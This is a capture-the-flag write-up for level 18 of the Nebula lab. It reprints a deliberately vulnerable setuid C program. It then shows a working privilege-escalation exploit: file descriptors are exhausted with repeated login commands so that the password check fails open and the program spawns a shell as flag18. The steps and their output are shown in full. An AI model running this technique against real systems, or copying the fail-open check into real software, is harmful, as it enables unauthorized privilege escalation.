Level18 provides us with this large snippet of code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
It also provides us with these directions:
“Analyze the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.”
I will start off by admitting that I definitely took the easy way of solving this level. Maybe after more practice I will come back and attempt the intermediate and difficult/unreliable ways.
After taking the time to dissect the code, I noticed an interesting detail: if the program cannot read the password file, it will log us in anyway. Let’s look at that file:
level18@nebula:/home/flag18$ ls -l
total 13
-rwsr-x--- 1 flag18 level18 12216 2011-11-20 21:22 flag18
-rw------- 1 flag18 flag18 37 2011-11-20 21:22 password
No simple ways to move or modify it with those permissions set, so it must be something else. It reminded me of an interesting error I encountered with one of my logging servers.
"Too many open files(24)"
If we can hit that limit before the program attempts to access the password file, it won’t be able to allocate a file descriptor. Let’s check what the limit is with ulimit:
level18@nebula:~$ ulimit -n
1024
1024 is the open file limit, but remember that we need to spare 3 to stdin, stdout and stderr. You can modify the limit with ulimit -n 4
, but it did not work for me. I wrote a small loop instead:
level18@nebula:~$ python -c 'print("login foo\n"*1021)' > /home/level18/foo
level18@nebula:~$ python -c 'print("closelog")' >> foo
level18@nebula:~$ python -c 'print("shell")' >> foo
With all the input generated, I just need to pipe it to the flag18 program.
level18@nebula:/home/flag18$ cat /home/level18/foo | ./flag18 -d /dev/tty
Starting up. Verbose level = 0
logged in successfully (without password file)
./flag18: -d: invalid option
Hm, that error is being thrown because sh does not have a -d
flag. Adding a bogus init-file did the trick:
level18@nebula:/home/flag18$ cat /home/level18/foo | ./flag18 --init-file /bogus -d /dev/tty
./flag18: invalid option -- '-'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'n'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 't'
./flag18: invalid option -- '-'
./flag18: invalid option -- 'f'
./flag18: invalid option -- 'i'
./flag18: invalid option -- 'l'
./flag18: invalid option -- 'e'
Starting up. Verbose level = 0
logged in successfully (without password file)
id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
getflag
You have successfully executed getflag on a target account
It worked, on to the final level!